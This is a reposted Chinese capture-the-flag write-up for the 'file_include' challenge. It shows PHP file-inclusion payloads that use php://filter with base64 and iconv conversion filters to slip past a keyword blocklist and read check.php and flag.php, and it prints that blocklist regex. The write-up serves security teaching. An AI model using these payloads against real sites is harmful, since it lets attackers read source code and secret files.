0


[CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)

姿势

题目描述:怎么读取文件呢?


思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php

POC的构造涉及PHP伪协议,参考链接:文件包含 | PHP伪协议实战

POC:

?filename=php://filter/read=convert.base64-encode/resource=check.php

回显如下:

在这里插入图片描述

猜测关键字被过滤,怎么办呢?

该题涉及到 convert转换过滤器

常见的convert转换过滤器有这两种:

convert.iconv.<input-encoding>.<output-encoding>

convert.quoted-printable-encode

对于第一种,即

convert.iconv.<input-encoding>.<output-encoding>

来说,它通过 PHP 的 iconv 扩展实现,该扩展可以帮助将输入数据从指定的字符编码(

<input-encoding>

)转换为另一个字符编码(

<output-encoding>

其中input-encoding、output-encoding支持的编码格式为:

    UCS-4*
    UCS-4BE
    UCS-4LE*
    UCS-2
    UCS-2BE
    UCS-2LE
    UTF-32*
    UTF-32BE*
    UTF-32LE*
    UTF-16*
    UTF-16BE*
    UTF-16LE*
    UTF-7
    UTF7-IMAP
    UTF-8*
    ASCII*
    EUC-JP*
    SJIS*
    eucJP-win*
    SJIS-win*
    ISO-2022-JP
    ISO-2022-JP-MS
    CP932
    CP51932
    SJIS-mac(别名:MacJapanese)
    SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
    SJIS-Mobile#KDDI(别名:SJIS-KDDI)
    SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
    UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
    UTF-8-Mobile#KDDI-A
    UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
    UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
    ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
    JIS
    JIS-ms
    CP50220
    CP50220raw
    CP50221
    CP50222
    ISO-8859-1*
    ISO-8859-2*
    ISO-8859-3*
    ISO-8859-4*
    ISO-8859-5*
    ISO-8859-6*
    ISO-8859-7*
    ISO-8859-8*
    ISO-8859-9*
    ISO-8859-10*
    ISO-8859-13*
    ISO-8859-14*
    ISO-8859-15*
    ISO-8859-16*
    byte2be
    byte2le
    byte4be
    byte4le
    BASE64
    HTML-ENTITIES(别名:HTML)
    7bit
    8bit
    EUC-CN*
    CP936
    GB18030
    HZ
    EUC-TW*
    CP950
    BIG-5*
    EUC-KR*
    UHC(别名:CP949)
    ISO-2022-KR
    Windows-1251(别名:CP1251)
    Windows-1252(别名:CP1252)
    CP866(别名:IBM866)
    KOI8-R*
    KOI8-U*
    ArmSCII-8(别名:ArmSCII8)

对于本题,将初始POC

?filename=php://filter/read=convert.base64-encode/resource=check.php

修改为

?filename=php://filter/convert.iconv.UTF-8.UTF-16/resource=check.php

回显如下:

在这里插入图片描述
该代码使用了正则表达式来匹配指定的字符串,如果输入中包含了

/base|be|encode|print|zlib|quoted|write|rot13|read|string/i

中的任何一个字符串,就会输出 “do not hack!” 并关闭脚本。

<?phpif($_GET["filename"])// 检查输入内容{$preg_match_username='return 
preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'// 匹配字符串;if(eval($preg_match_username))// 执行匹配,如果输入含有上述字符串{die("do not hack!");// 关闭脚本,并输出 "do not hack!"}}

也就是说我们修改POC之后得到的check.php中的内容其实是逻辑判断代码,与flag无关

故猜想flag在flag.php中,修改POC即可得到flag

在这里插入图片描述


总结

以上为[CTF/网络安全] 攻防世界 file_include 解题详析,考察php伪协议和convert转换过滤器相关知识点,读者可躬身实践。

我是秋说,我们下次见。

标签: web安全 php 安全

本文转载自: https://blog.csdn.net/2301_77485708/article/details/132023659
版权归原作者 秋说 所有, 如有侵权,请联系我们删除。

“[CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)”的评论:

还没有评论